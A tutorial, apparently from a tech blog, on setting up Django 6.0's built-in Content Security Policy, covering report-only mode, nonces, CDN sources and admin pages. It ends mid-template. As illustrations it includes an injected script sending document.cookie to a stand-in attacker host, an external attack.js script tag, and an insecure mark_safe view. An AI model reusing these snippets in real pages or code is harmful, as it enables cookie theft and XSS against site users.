Introduction

Security is not something you add to a Django website only after deployment. It should be part of the application architecture from the beginning. A Django project may have authentication, forms, templates, admin pages, APIs, uploaded media, JavaScript libraries, CSS frameworks, analytics scripts, and third-party widgets. Each of these areas can introduce risk if the browser is allowed to load or execute anything without strict rules.

One of the most important browser-level protections for modern web applications is Content Security Policy, usually called CSP.

CSP is a security standard that tells the browser which sources of scripts, styles, images, fonts, frames, and other resources are allowed on your website. A well-configured CSP can reduce the impact of cross-site scripting, also known as XSS, by blocking unauthorized scripts from running in the browser.

With Django 6.0, CSP becomes even more important for Django developers because Django now includes built-in CSP support. Django 6.0 introduced native tools such as ContentSecurityPolicyMiddleware, SECURE_CSP, SECURE_CSP_REPORT_ONLY, and CSP nonce support through the csp() context processor. This means developers can now configure CSP directly in Django without depending only on third-party packages.

This guide explains how to use Django 6.0 native CSP properly, how to start with report-only mode, how to use nonces, how to handle CDNs, and how to avoid breaking your frontend while improving your website security.

 

Table of Contents

  1. What Is Content Security Policy?
  2. Why CSP Matters for Django Websites
  3. What Changed in Django 6.0?
  4. How Django 6.0 CSP Works
  5. Basic Django 6.0 CSP Configuration
  6. Report-Only Mode Before Production
  7. Enforcing CSP in Production
  8. Using CSP Nonces in Django Templates
  9. CSP for Bootstrap, Tailwind, Highlight.js, and CDNs
  10. CSP for Images, Fonts, Media, and Frames
  11. CSP for Django Admin
  12. Common CSP Mistakes
  13. Production CSP Checklist
  14. Troubleshooting CSP Errors
  15. Best Practices
  16. Security Considerations
  17. Performance Considerations
  18. FAQ
  19. Conclusion

 

What Is Content Security Policy?

Content Security Policy is a browser security mechanism that allows a website to define trusted sources of content.

For example, with CSP you can tell the browser:

  • Only load JavaScript from my own domain.
  • Only load CSS from my own domain and a trusted CDN.
  • Only load images from my website, HTTPS URLs, and base64 data images.
  • Do not allow the page to be embedded in unknown iframes.
  • Do not allow plugins such as Flash or other object-based content.
  • Block inline scripts unless they contain a valid nonce.

A CSP policy is sent by the server as an HTTP response header.

Example:

 

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

 

This tells the browser:

  • default-src 'self': by default, load resources only from the same origin.
  • script-src 'self': allow JavaScript only from the same origin.
  • object-src 'none': block object/embed content completely.

In simple terms, CSP acts like a security rulebook for the browser.

 

Why CSP Matters for Django Websites

Django already includes many security protections. It has automatic HTML escaping in templates, CSRF protection, secure password hashing, clickjacking protection middleware, and many other built-in security features.

However, CSP solves a different problem.

Django helps prevent unsafe content from being generated by the server. CSP helps prevent unsafe content from being executed by the browser.

This is important because XSS attacks often happen when malicious JavaScript reaches the browser through:

  • User-generated content
  • Unsafe template rendering
  • Incorrect use of mark_safe
  • Vulnerable JavaScript dependencies
  • Injected scripts from compromised third-party services
  • Unsafe admin content fields
  • WYSIWYG editors such as CKEditor
  • Query parameters reflected into templates
  • Misconfigured rich text rendering
  • Insecure iframe usage

A strong CSP cannot replace secure coding, but it adds an important defensive layer.

For example, suppose an attacker manages to inject this script into a page:

 

<script>
  fetch("https://evil.example.com/steal?cookie=" + document.cookie);
</script>

 

If your CSP does not allow inline scripts or external requests to that domain, the browser can block the attack.

 

What Changed in Django 6.0?

Before Django 6.0, many Django developers used third-party packages such as django-csp to configure Content Security Policy.

With Django 6.0, native CSP support is available directly in Django. The official Django documentation describes enabling CSP by adding django.middleware.csp.ContentSecurityPolicyMiddleware to MIDDLEWARE and configuring policies through SECURE_CSP or SECURE_CSP_REPORT_ONLY.

Django 6.0 includes:

 

"django.middleware.csp.ContentSecurityPolicyMiddleware"

 

It also includes two main settings:

 

SECURE_CSP
SECURE_CSP_REPORT_ONLY

 

According to Django’s CSP reference, SECURE_CSP defines the enforced policy, while SECURE_CSP_REPORT_ONLY defines a report-only policy. They can be used independently or together.

Django 6.0 also supports CSP nonces through the CSP context processor, making it possible to safely allow specific inline scripts or styles when needed.

 

How Django 6.0 CSP Works

Django 6.0 CSP works through middleware.

When a request is processed and Django returns a response, the CSP middleware adds the appropriate HTTP header.

If you use SECURE_CSP, Django sends:

 

Content-Security-Policy: ...

 

If you use SECURE_CSP_REPORT_ONLY, Django sends:

 

Content-Security-Policy-Report-Only: ...

 

The Django middleware reference confirms that the CSP middleware sets Content-Security-Policy based on SECURE_CSP and Content-Security-Policy-Report-Only based on SECURE_CSP_REPORT_ONLY.

The difference is important:

SECURE_CSP blocks violations.

SECURE_CSP_REPORT_ONLY does not block violations. It only reports or logs them, depending on your configuration and browser behavior.

That makes report-only mode very useful when testing a new policy.

 

Basic Django 6.0 CSP Configuration

Let us start with a simple Django 6.0 configuration.

Open your settings.py file and add the CSP middleware.

 

MIDDLEWARE = [
    "django.middleware.security.SecurityMiddleware",
    "django.middleware.csp.ContentSecurityPolicyMiddleware",

    "django.contrib.sessions.middleware.SessionMiddleware",
    "django.middleware.common.CommonMiddleware",
    "django.middleware.csrf.CsrfViewMiddleware",
    "django.contrib.auth.middleware.AuthenticationMiddleware",
    "django.contrib.messages.middleware.MessageMiddleware",
    "django.middleware.clickjacking.XFrameOptionsMiddleware",
]

 

A good place for ContentSecurityPolicyMiddleware is near the top, after SecurityMiddleware.

Now import the CSP constants:

 

from django.utils.csp import CSP

 

Then define a basic report-only policy first:

 

SECURE_CSP_REPORT_ONLY = {
    "default-src": [CSP.SELF],
    "script-src": [CSP.SELF],
    "style-src": [CSP.SELF],
    "img-src": [CSP.SELF, "data:", "https:"],
    "font-src": [CSP.SELF, "data:"],
    "connect-src": [CSP.SELF],
    "object-src": [CSP.NONE],
    "base-uri": [CSP.SELF],
    "form-action": [CSP.SELF],
    "frame-ancestors": [CSP.SELF],
}

 

This policy says:

  • Default resources should come from the same origin.
  • Scripts should come from the same origin.
  • Styles should come from the same origin.
  • Images may come from the same origin, HTTPS sources, or data:.
  • Fonts may come from the same origin or data:.
  • AJAX/WebSocket connections should go to the same origin.
  • Object content should be blocked.
  • Forms should submit only to the same origin.
  • The site can only be framed by itself.

This is a good starting point, but it may break some frontend behavior if you enforce it immediately. That is why we start with report-only mode.

 

Report-Only Mode Before Production

One of the biggest mistakes developers make with CSP is enabling a strict policy directly in production.

That can break:

  • Bootstrap JavaScript
  • Tailwind scripts
  • Analytics scripts
  • Ads scripts
  • CKEditor assets
  • Highlight.js
  • Inline admin scripts
  • Image previews
  • External fonts
  • API requests
  • Embedded videos
  • Payment widgets

Report-only mode allows you to test your policy without blocking anything.

Example:

 

SECURE_CSP_REPORT_ONLY = {
    "default-src": [CSP.SELF],
    "script-src": [CSP.SELF],
    "style-src": [CSP.SELF],
    "img-src": [CSP.SELF, "data:", "https:"],
    "font-src": [CSP.SELF, "data:"],
    "connect-src": [CSP.SELF],
    "object-src": [CSP.NONE],
    "base-uri": [CSP.SELF],
    "form-action": [CSP.SELF],
    "frame-ancestors": [CSP.SELF],
}

 

In report-only mode, the browser logs violations but does not block the resources. Django’s settings documentation notes that SECURE_CSP_REPORT_ONLY applies the Content-Security-Policy-Report-Only header and is useful for testing and refining a policy before enforcement. It also notes that a report-uri directive is required if you want reports to be sent, otherwise violations may only appear in browser developer tools.

For early testing, open your browser DevTools and check the Console tab.

You may see messages like:

Refused to load the script because it violates the following Content Security Policy directive...

 

In report-only mode, the message usually means:

“This would be blocked if the policy were enforced.”

 

Adding a Report URI

To collect CSP violation reports, you can add a report endpoint.

Example:

 

SECURE_CSP_REPORT_ONLY = {
    "default-src": [CSP.SELF],
    "script-src": [CSP.SELF],
    "style-src": [CSP.SELF],
    "img-src": [CSP.SELF, "data:", "https:"],
    "font-src": [CSP.SELF, "data:"],
    "connect-src": [CSP.SELF],
    "object-src": [CSP.NONE],
    "base-uri": [CSP.SELF],
    "form-action": [CSP.SELF],
    "frame-ancestors": [CSP.SELF],
    "report-uri": ["/csp-report/"],
}

 

Then add a Django URL:

 

# urls.py
from django.urls import path
from .views import csp_report

urlpatterns = [
    path("csp-report/", csp_report, name="csp_report"),
]

 

Create a simple view:

 

# views.py
import json
import logging

from django.http import JsonResponse
from django.views.decorators.csrf import csrf_exempt
from django.views.decorators.http import require_POST

logger = logging.getLogger(__name__)


@csrf_exempt
@require_POST
def csp_report(request):
    try:
        report = json.loads(request.body.decode("utf-8"))
        logger.warning("CSP violation report: %s", report)
    except json.JSONDecodeError:
        logger.warning("Invalid CSP report body: %s", request.body)

    return JsonResponse({"status": "ok"})

 

This lets you collect violation reports in logs.

For production, you may want to store reports in a database table or send them to your monitoring system, but be careful: CSP reports can be noisy.

 

Enforcing CSP in Production

After testing in report-only mode, you can move to enforcement.

Change this:

 

SECURE_CSP_REPORT_ONLY = {
    ...
}

 

To this:

 

SECURE_CSP = {
    "default-src": [CSP.SELF],
    "script-src": [CSP.SELF],
    "style-src": [CSP.SELF],
    "img-src": [CSP.SELF, "data:", "https:"],
    "font-src": [CSP.SELF, "data:"],
    "connect-src": [CSP.SELF],
    "object-src": [CSP.NONE],
    "base-uri": [CSP.SELF],
    "form-action": [CSP.SELF],
    "frame-ancestors": [CSP.SELF],
}

 

Once SECURE_CSP is enabled, the browser will block violations.

Before enforcing CSP, test:

 

python manage.py check

 

Run your application locally:

 

python manage.py runserver

 

Then visit important pages:

  • Home page
  • Article detail page
  • Login page
  • Registration page
  • Admin page
  • Profile page
  • Tool pages
  • Search page
  • Pages using CKEditor content
  • Pages using syntax highlighting
  • Pages using charts or external scripts

Also check headers:

 

curl -I https://yourdomain.com/

 

You should see:

 

Content-Security-Policy: default-src 'self'; ...

 

Using CSP Nonces in Django Templates

Inline scripts are common in Django templates.

Example:

 

<script>
  console.log("Hello from inline JavaScript");
</script>

 

A strict CSP will block this unless you allow 'unsafe-inline', use a hash, or use a nonce.

Using 'unsafe-inline' is easy but weakens your CSP.

A better option is a nonce.

A nonce is a random value generated for each request. The server adds it to the CSP header, and the template adds the same value to trusted inline scripts.

Django’s CSP documentation explains that to use nonces, you add the nonce placeholder to script-src or style-src, then add the csp() context processor so templates can access csp_nonce.

Step 1: Add nonce support in settings.py

 

from django.utils.csp import CSP

SECURE_CSP = {
    "default-src": [CSP.SELF],
    "script-src": [CSP.SELF, CSP.NONCE],
    "style-src": [CSP.SELF],
    "img-src": [CSP.SELF, "data:", "https:"],
    "font-src": [CSP.SELF, "data:"],
    "connect-src": [CSP.SELF],
    "object-src": [CSP.NONE],
    "base-uri": [CSP.SELF],
    "form-action": [CSP.SELF],
    "frame-ancestors": [CSP.SELF],
}

 

Step 2: Add the CSP context processor

In settings.py:

 

TEMPLATES = [
    {
        "BACKEND": "django.template.backends.django.DjangoTemplates",
        "DIRS": [BASE_DIR / "templates"],
        "APP_DIRS": True,
        "OPTIONS": {
            "context_processors": [
                "django.template.context_processors.request",
                "django.contrib.auth.context_processors.auth",
                "django.contrib.messages.context_processors.messages",

                # Required for CSP nonce in templates
                "django.template.context_processors.csp",
            ],
        },
    },
]

 

Step 3: Use the nonce in your template

 

<script nonce="{{ csp_nonce }}">
  console.log("This inline script is allowed by CSP.");
</script>

 

Now the browser will allow this inline script only if the nonce matches the nonce in the CSP header.

 

Example: Safe Inline JavaScript in a Django Template

Suppose you have a theme toggle button in base.html.

Instead of writing this:

 

<script>
  const button = document.getElementById("theme-toggle");
  button.addEventListener("click", function () {
    document.documentElement.classList.toggle("dark");
  });
</script>

 

Use:

 

<script nonce="{{ csp_nonce }}">
  const button = document.getElementById("theme-toggle");

  if (button) {
    button.addEventListener("click", function () {
      document.documentElement.classList.toggle("dark");
    });
  }
</script>

 

And keep your CSP:

 

SECURE_CSP = {
    "default-src": [CSP.SELF],
    "script-src": [CSP.SELF, CSP.NONCE],
    "style-src": [CSP.SELF],
    "img-src": [CSP.SELF, "data:", "https:"],
    "font-src": [CSP.SELF, "data:"],
    "connect-src": [CSP.SELF],
    "object-src": [CSP.NONE],
    "base-uri": [CSP.SELF],
    "form-action": [CSP.SELF],
    "frame-ancestors": [CSP.SELF],
}

 

This is much safer than allowing all inline scripts.

 

CSP for Bootstrap, Tailwind, Highlight.js, and CDNs

Many Django websites use external frontend libraries.

Common examples:

  • Bootstrap CSS and JS
  • Tailwind CSS
  • Highlight.js
  • Font Awesome
  • Google Fonts
  • CKEditor
  • Chart.js
  • HTMX
  • Alpine.js

A strict CSP may block these assets unless you allow their sources.

Example: Bootstrap from jsDelivr

If your template uses:

 

<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>

 

Then your CSP needs to allow cdn.jsdelivr.net.

 

from django.utils.csp import CSP

SECURE_CSP_REPORT_ONLY = {
    "default-src": [CSP.SELF],
    "script-src": [CSP.SELF, "https://cdn.jsdelivr.net"],
    "style-src": [CSP.SELF, "https://cdn.jsdelivr.net"],
    "img-src": [CSP.SELF, "data:", "https:"],
    "font-src": [CSP.SELF, "data:", "https://cdn.jsdelivr.net"],
    "connect-src": [CSP.SELF],
    "object-src": [CSP.NONE],
    "base-uri": [CSP.SELF],
    "form-action": [CSP.SELF],
    "frame-ancestors": [CSP.SELF],
}

 

However, for production, self-hosting static assets is often better.

Instead of loading Bootstrap from a CDN, download it into your static files:

static/
  vendor/
    bootstrap/
      bootstrap.min.css
      bootstrap.bundle.min.js

 

Then use:

 

{% load static %}

<link rel="stylesheet" href="{% static 'vendor/bootstrap/bootstrap.min.css' %}">
<script src="{% static 'vendor/bootstrap/bootstrap.bundle.min.js' %}"></script>

 

Now your CSP can remain stricter:

 

"script-src": [CSP.SELF],
"style-src": [CSP.SELF],

 

This is usually safer and more predictable.

 

CSP for Tailwind CSS

Many developers use Tailwind through this script:

 

<script src="https://cdn.tailwindcss.com"></script>

 

This is convenient for development but not ideal for production.

For production, you should compile Tailwind into a static CSS file.

Recommended production structure:

static/
  css/
    tailwind.css

 

Then load:

 

{% load static %}
<link rel="stylesheet" href="{% static 'css/tailwind.css' %}">

 

Your CSP can remain:

 

"style-src": [CSP.SELF],

 

If you use inline styles heavily, you may be tempted to add:

 

"style-src": [CSP.SELF, CSP.UNSAFE_INLINE]

 

But this reduces protection. Use it only as a temporary step while refactoring.

 

CSP for Highlight.js

If your MofidTech articles include code blocks, you may use Highlight.js.

Better production option:

 

{% load static %}

<link rel="stylesheet" href="{% static 'vendor/highlightjs/styles/github-dark.min.css' %}">
<script src="{% static 'vendor/highlightjs/highlight.min.js' %}"></script>

<script nonce="{{ csp_nonce }}">
  document.addEventListener("DOMContentLoaded", function () {
    document.querySelectorAll("pre code").forEach(function (block) {
      hljs.highlightElement(block);
    });
  });
</script>

 

CSP:

 

SECURE_CSP = {
    "default-src": [CSP.SELF],
    "script-src": [CSP.SELF, CSP.NONCE],
    "style-src": [CSP.SELF],
    "img-src": [CSP.SELF, "data:", "https:"],
    "font-src": [CSP.SELF, "data:"],
    "connect-src": [CSP.SELF],
    "object-src": [CSP.NONE],
    "base-uri": [CSP.SELF],
    "form-action": [CSP.SELF],
    "frame-ancestors": [CSP.SELF],
}

 

This allows your local highlight.min.js file and permits only the trusted inline initialization script with a nonce.

 

CSP for CKEditor Content

Rich text editors such as CKEditor can introduce CSP complexity.

CKEditor content may include:

  • Images
  • Inline styles
  • Tables
  • Code blocks
  • Embedded media
  • Links
  • HTML generated from pasted content

If you display CKEditor content on public article pages, you should be careful.

Example:

 

<div class="article-content">
  {{ article.content|safe }}
</div>

 

Using |safe means Django will not escape the HTML. This is normal for trusted article content written by admins, but it also means you should control what HTML is allowed.

Recommended approach:

  1. Only trusted admins should create rich content.
  2. Avoid allowing arbitrary <script> tags.
  3. Sanitize user-generated HTML if normal users can submit content.
  4. Use CSP to block unauthorized scripts.
  5. Avoid allowing unsafe-inline for scripts.
  6. Prefer self-hosted CKEditor assets.
  7. Test pasted content from external sources.

A good CSP for article pages:

 

SECURE_CSP = {
    "default-src": [CSP.SELF],
    "script-src": [CSP.SELF, CSP.NONCE],
    "style-src": [CSP.SELF, CSP.UNSAFE_INLINE],
    "img-src": [CSP.SELF, "data:", "https:"],
    "font-src": [CSP.SELF, "data:"],
    "connect-src": [CSP.SELF],
    "object-src": [CSP.NONE],
    "base-uri": [CSP.SELF],
    "form-action": [CSP.SELF],
    "frame-ancestors": [CSP.SELF],
}

 

Why allow CSP.UNSAFE_INLINE in style-src?

Because many rich text editors may generate inline styles. This is not perfect, but inline styles are usually less dangerous than inline scripts. You should still aim to reduce inline styles over time.

Avoid:

 

"script-src": [CSP.SELF, CSP.UNSAFE_INLINE]

 

That weakens the most important part of CSP.

 

CSP for Images, Fonts, Media, and Frames

A real Django website usually needs more than scripts and styles.

Images

For a blog, you may need:

 

"img-src": [CSP.SELF, "data:", "https:"]

 

This allows:

  • Images from your own domain
  • Base64 images
  • HTTPS external images

For stricter production usage, replace broad https: with specific domains.

Example:

 

"img-src": [
    CSP.SELF,
    "data:",
    "https://mofidtech.fr",
    "https://res.cloudinary.com",
]

 

Fonts

If you use local fonts:

 

"font-src": [CSP.SELF]

 

If your CSS uses base64-encoded fonts:

 

"font-src": [CSP.SELF, "data:"]

 

If using Google Fonts:

 

"style-src": [CSP.SELF, "https://fonts.googleapis.com"],
"font-src": [CSP.SELF, "https://fonts.gstatic.com"],

 

Media

If your site has uploaded videos or audio:

 

"media-src": [CSP.SELF]

 

If using external media storage:

 

"media-src": [CSP.SELF, "https://media.example.com"]

 

Frames

If you embed YouTube videos:

 

"frame-src": [CSP.SELF, "https://www.youtube.com"]

 

If your site should not be embedded by other websites:

 

"frame-ancestors": [CSP.SELF]

 

If you want to completely prevent embedding:

 

"frame-ancestors": [CSP.NONE]

 

Recommended CSP for a Practical Django Blog

For a Django blog like MofidTech, where you have articles, code highlighting, images, admin pages, and maybe some CDN assets, you can start with this report-only policy:

 

from django.utils.csp import CSP

SECURE_CSP_REPORT_ONLY = {
    "default-src": [CSP.SELF],

    "script-src": [
        CSP.SELF,
        CSP.NONCE,
        "https://cdn.jsdelivr.net",
    ],

    "style-src": [
        CSP.SELF,
        CSP.UNSAFE_INLINE,
        "https://cdn.jsdelivr.net",
    ],

    "img-src": [
        CSP.SELF,
        "data:",
        "https:",
    ],

    "font-src": [
        CSP.SELF,
        "data:",
        "https://cdn.jsdelivr.net",
    ],

    "connect-src": [
        CSP.SELF,
    ],

    "media-src": [
        CSP.SELF,
    ],

    "object-src": [
        CSP.NONE,
    ],

    "base-uri": [
        CSP.SELF,
    ],

    "form-action": [
        CSP.SELF,
    ],

    "frame-ancestors": [
        CSP.SELF,
    ],

    "report-uri": [
        "/csp-report/",
    ],
}

 

After testing, convert it to:

 

SECURE_CSP = {
    "default-src": [CSP.SELF],

    "script-src": [
        CSP.SELF,
        CSP.NONCE,
        "https://cdn.jsdelivr.net",
    ],

    "style-src": [
        CSP.SELF,
        CSP.UNSAFE_INLINE,
        "https://cdn.jsdelivr.net",
    ],

    "img-src": [
        CSP.SELF,
        "data:",
        "https:",
    ],

    "font-src": [
        CSP.SELF,
        "data:",
        "https://cdn.jsdelivr.net",
    ],

    "connect-src": [
        CSP.SELF,
    ],

    "media-src": [
        CSP.SELF,
    ],

    "object-src": [
        CSP.NONE,
    ],

    "base-uri": [
        CSP.SELF,
    ],

    "form-action": [
        CSP.SELF,
    ],

    "frame-ancestors": [
        CSP.SELF,
    ],
}

 

This is practical, but not the strictest possible version.

The stricter version would remove CDN domains and avoid CSP.UNSAFE_INLINE.

 

CSP for Django Admin

Django admin can be sensitive because it handles authentication, content management, uploaded files, and sometimes rich text editors.

If CSP breaks Django admin, you may see:

  • Broken JavaScript widgets
  • Broken date/time widgets
  • Broken autocomplete fields
  • Broken CKEditor fields
  • Missing icons
  • Broken CSS
  • Failed image previews

You should test:

/admin/

 

Then check:

  • Add article page
  • Change article page
  • Image upload fields
  • CKEditor fields
  • Many-to-many widgets
  • Date fields
  • Slug fields
  • Custom admin JavaScript

A common development mistake is to make CSP strict for the whole website without checking admin pages.

For a production site, you may use the same CSP globally, but if your admin requires special rules, you can consider:

  • Self-hosting all admin-related assets
  • Removing unnecessary inline scripts
  • Using nonces where possible
  • Avoiding third-party scripts in admin pages
  • Keeping admin access restricted

Do not add many broad external domains just to make the admin work. Find exactly what is blocked and allow only what is required.

 

Common CSP Mistakes in Django Projects

Mistake 1: Enforcing CSP Without Testing

Do not start directly with:

 

SECURE_CSP = {...}

 

Start with:

 

SECURE_CSP_REPORT_ONLY = {...}

 

Then monitor browser console and violation reports.

 

Mistake 2: Using Too Much unsafe-inline

This is common:

 

"script-src": [CSP.SELF, CSP.UNSAFE_INLINE]

 

It makes many frontend problems disappear, but it also weakens XSS protection.

Prefer:

 

"script-src": [CSP.SELF, CSP.NONCE]

 

Then use:

 

<script nonce="{{ csp_nonce }}">
  // trusted inline script
</script>

 

Mistake 3: Allowing All HTTPS Scripts

This is too broad:

 

"script-src": [CSP.SELF, "https:"]

 

It allows scripts from any HTTPS domain.

That means if an attacker can inject:

 

<script src="https://evil.example.com/attack.js"></script>

 

The browser may allow it.

Prefer specific domains:

 

"script-src": [
    CSP.SELF,
    "https://cdn.jsdelivr.net",
]

 

Mistake 4: Forgetting object-src 'none'

Old object-based content is rarely needed.

Add:

 

"object-src": [CSP.NONE]

 

This blocks risky plugin-based content.

 

Mistake 5: Forgetting base-uri

The <base> tag can change how relative URLs behave.

Add:

 

"base-uri": [CSP.SELF]

 

Mistake 6: Forgetting form-action

Forms are important in Django.

Add:

 

"form-action": [CSP.SELF]

 

This prevents forms from being submitted to unknown external domains.

 

Mistake 7: Report-Only Without a Report Endpoint

Report-only mode is useful, but if you do not configure a report endpoint, you may only see violations in the browser console.

Add:

 

"report-uri": ["/csp-report/"]

 

Mistake 8: Not Testing Authenticated Pages

Many developers test only the public home page.

You must also test:

  • Login
  • Logout
  • Password reset
  • Profile edit
  • Admin dashboard
  • Article editor
  • Tool pages
  • Search results
  • File uploads

 

Production CSP Checklist for Django

Use this checklist before enforcing CSP.

Development Checklist

  • Add ContentSecurityPolicyMiddleware.
  • Configure SECURE_CSP_REPORT_ONLY.
  • Add the CSP context processor.
  • Use csp_nonce for trusted inline scripts.
  • Check browser console warnings.
  • List all external scripts, styles, fonts, images, and frames.
  • Remove unused third-party assets.
  • Self-host libraries where possible.

Staging Checklist

  • Test with production-like settings.
  • Test all public pages.
  • Test all authenticated pages.
  • Test Django admin.
  • Test file uploads.
  • Test forms.
  • Test JavaScript interactions.
  • Test CKEditor or rich text rendering.
  • Test syntax highlighting.
  • Review CSP reports.
  • Replace broad domains with specific domains.

Production Checklist

  • Move from SECURE_CSP_REPORT_ONLY to SECURE_CSP.
  • Keep object-src set to none.
  • Keep base-uri restricted.
  • Keep form-action restricted.
  • Avoid unsafe-inline in script-src.
  • Avoid broad https: in script-src.
  • Monitor logs after deployment.
  • Keep a rollback plan ready.
  • Re-test after adding new frontend libraries.

 

Troubleshooting CSP Errors

Error: Refused to Load Script

Example:

Refused to load the script 'https://cdn.jsdelivr.net/...' because it violates the following Content Security Policy directive: "script-src 'self'".

 

Fix:

Add the trusted source:

 

"script-src": [CSP.SELF, "https://cdn.jsdelivr.net"]

 

Or self-host the script.

 

Error: Refused to Execute Inline Script

Example:

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'".

 

Fix:

Use a nonce:

 

"script-src": [CSP.SELF, CSP.NONCE]

 

Template:

 

<script nonce="{{ csp_nonce }}">
  console.log("Allowed inline script");
</script>

 

Error: Refused to Apply Inline Style

Example:

Refused to apply inline style because it violates the following Content Security Policy directive: "style-src 'self'".

 

Fix options:

Best option: move inline styles into CSS files.

Temporary option:

 

"style-src": [CSP.SELF, CSP.UNSAFE_INLINE]

 

Use this carefully.

 

Error: Image Blocked

Example:

Refused to load the image 'data:image/png;base64,...' because it violates img-src.

 

Fix:

 

"img-src": [CSP.SELF, "data:", "https:"]

 

Error: Font Blocked

Example:

Refused to load the font because it violates font-src.

 

Fix:

 

"font-src": [CSP.SELF, "data:", "https://fonts.gstatic.com"]

 

Error: External API Request Blocked

Example:

Refused to connect to 'https://api.example.com' because it violates connect-src.

 

Fix:

 

"connect-src": [CSP.SELF, "https://api.example.com"]

 

Use this for:

  • Fetch requests
  • AJAX
  • WebSocket connections
  • Analytics beacons
  • API calls

 

Best Practices for Django 6.0 CSP

1. Start With Report-Only Mode

Never enforce a new CSP blindly.

Use:

 

SECURE_CSP_REPORT_ONLY = {...}

 

Then switch to:

 

SECURE_CSP = {...}

 

2. Use Nonces Instead of Unsafe Inline Scripts

Prefer:

 

"script-src": [CSP.SELF, CSP.NONCE]

 

Avoid:

 

"script-src": [CSP.SELF, CSP.UNSAFE_INLINE]

 

3. Self-Host Frontend Assets

Self-host:

  • Bootstrap
  • Highlight.js
  • Alpine.js
  • HTMX
  • Custom JavaScript
  • Custom CSS
  • Fonts

This keeps your CSP simpler and reduces third-party dependency risk.

 

4. Keep Script Sources Strict

Bad:

 

"script-src": [CSP.SELF, "https:"]

 

Better:

 

"script-src": [CSP.SELF, "https://cdn.jsdelivr.net"]

 

Best:

 

"script-src": [CSP.SELF, CSP.NONCE]

 

5. Separate Development and Production Settings

You may need a relaxed policy in development and stricter policy in production.

Example:

 

# settings/base.py
from django.utils.csp import CSP

BASE_CSP = {
    "default-src": [CSP.SELF],
    "script-src": [CSP.SELF, CSP.NONCE],
    "style-src": [CSP.SELF],
    "img-src": [CSP.SELF, "data:", "https:"],
    "font-src": [CSP.SELF, "data:"],
    "connect-src": [CSP.SELF],
    "object-src": [CSP.NONE],
    "base-uri": [CSP.SELF],
    "form-action": [CSP.SELF],
    "frame-ancestors": [CSP.SELF],
}

 

# settings/dev.py
from .base import BASE_CSP

SECURE_CSP_REPORT_ONLY = BASE_CSP

 

# settings/prod.py
from .base import BASE_CSP

SECURE_CSP = BASE_CSP

 

6. Document Every External Domain

Create a comment in your settings:

 

# CSP external sources:
# cdn.jsdelivr.net -> Bootstrap and Highlight.js
# fonts.googleapis.com -> Google Fonts CSS
# fonts.gstatic.com -> Google Fonts files

 

This helps future maintenance.

 

Security Considerations

CSP is powerful, but it is not a complete security solution.

You still need:

  • Secure Django templates
  • Proper escaping
  • CSRF protection
  • Authentication checks
  • Authorization checks
  • Safe file upload handling
  • Dependency updates
  • Secure cookies
  • HTTPS
  • Secure admin access
  • Input validation
  • Output encoding
  • Database query safety
  • Regular security reviews

CSP is a defense-in-depth mechanism.

It helps reduce the damage if something goes wrong, but it does not excuse unsafe coding.

Avoid dangerous patterns such as:

 

from django.utils.safestring import mark_safe

def bad_view(request):
    user_input = request.GET.get("message", "")
    return render(request, "page.html", {
        "message": mark_safe(user_input)
    })

 

This is dangerous because it marks user input as safe HTML.

Better:

 

def good_view(request):
    user_input = request.GET.get("message", "")
    return render(request, "page.html", {
        "message": user_input
    })

 

Django will escape the output by default.

 

Performance Considerations

CSP itself usually has minimal performance cost. It is just an HTTP header.

However, the choices you make around CSP can affect performance.

Self-Hosting Assets

Self-hosting assets can improve control and privacy, but you should configure caching properly.

Example Nginx static caching:

 

location /static/ {
    alias /app/staticfiles/;
    expires 30d;
    add_header Cache-Control "public, max-age=2592000";
}

 

Reducing Third-Party Scripts

A strict CSP encourages you to reduce external scripts. This can improve:

  • Page speed
  • Privacy
  • Reliability
  • Core Web Vitals
  • Security

Avoiding Too Many CSP Reports

If you collect CSP reports in production, be careful. A popular website can generate many reports.

Do not let CSP reporting overload your database.

Recommended approach:

  • Log reports first.
  • Rate-limit the report endpoint.
  • Ignore duplicate reports.
  • Store only important reports.
  • Use monitoring tools for large-scale reporting.

 

Real-World Example: MofidTech-Style Django CSP

For a technology blog using Django, CKEditor, Bootstrap, Highlight.js, and uploaded images, a practical starting point could be:

 

from django.utils.csp import CSP

SECURE_CSP_REPORT_ONLY = {
    "default-src": [CSP.SELF],

    "script-src": [
        CSP.SELF,
        CSP.NONCE,
        "https://cdn.jsdelivr.net",
    ],

    "style-src": [
        CSP.SELF,
        CSP.UNSAFE_INLINE,
        "https://cdn.jsdelivr.net",
    ],

    "img-src": [
        CSP.SELF,
        "data:",
        "https:",
    ],

    "font-src": [
        CSP.SELF,
        "data:",
        "https://cdn.jsdelivr.net",
    ],

    "connect-src": [
        CSP.SELF,
    ],

    "media-src": [
        CSP.SELF,
    ],

    "object-src": [
        CSP.NONE,
    ],

    "base-uri": [
        CSP.SELF,
    ],

    "form-action": [
        CSP.SELF,
    ],

    "frame-ancestors": [
        CSP.SELF,
    ],

    "report-uri": [
        "/csp-report/",
    ],
}

 

Then after testing:

 

SECURE_CSP = SECURE_CSP_REPORT_ONLY.copy()
SECURE_CSP.pop("report-uri", None)

 

However, for clean production code, it is better to define a shared base policy:

 

from django.utils.csp import CSP

MOFIDTECH_CSP = {
    "default-src": [CSP.SELF],

    "script-src": [
        CSP.SELF,
        CSP.NONCE,
        "https://cdn.jsdelivr.net",
    ],

    "style-src": [
        CSP.SELF,
        CSP.UNSAFE_INLINE,
        "https://cdn.jsdelivr.net",
    ],

    "img-src": [
        CSP.SELF,
        "data:",
        "https:",
    ],

    "font-src": [
        CSP.SELF,
        "data:",
        "https://cdn.jsdelivr.net",
    ],

    "connect-src": [
        CSP.SELF,
    ],

    "media-src": [
        CSP.SELF,
    ],

    "object-src": [
        CSP.NONE,
    ],

    "base-uri": [
        CSP.SELF,
    ],

    "form-action": [
        CSP.SELF,
    ],

    "frame-ancestors": [
        CSP.SELF,
    ],
}

SECURE_CSP_REPORT_ONLY = {
    **MOFIDTECH_CSP,
    "report-uri": ["/csp-report/"],
}

 

Later:

 

SECURE_CSP = MOFIDTECH_CSP

 

Example Django Template With CSP Nonce

Here is a practical base.html example:

 

{% load static %}
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>{% block title %}MofidTech{% endblock %}</title>

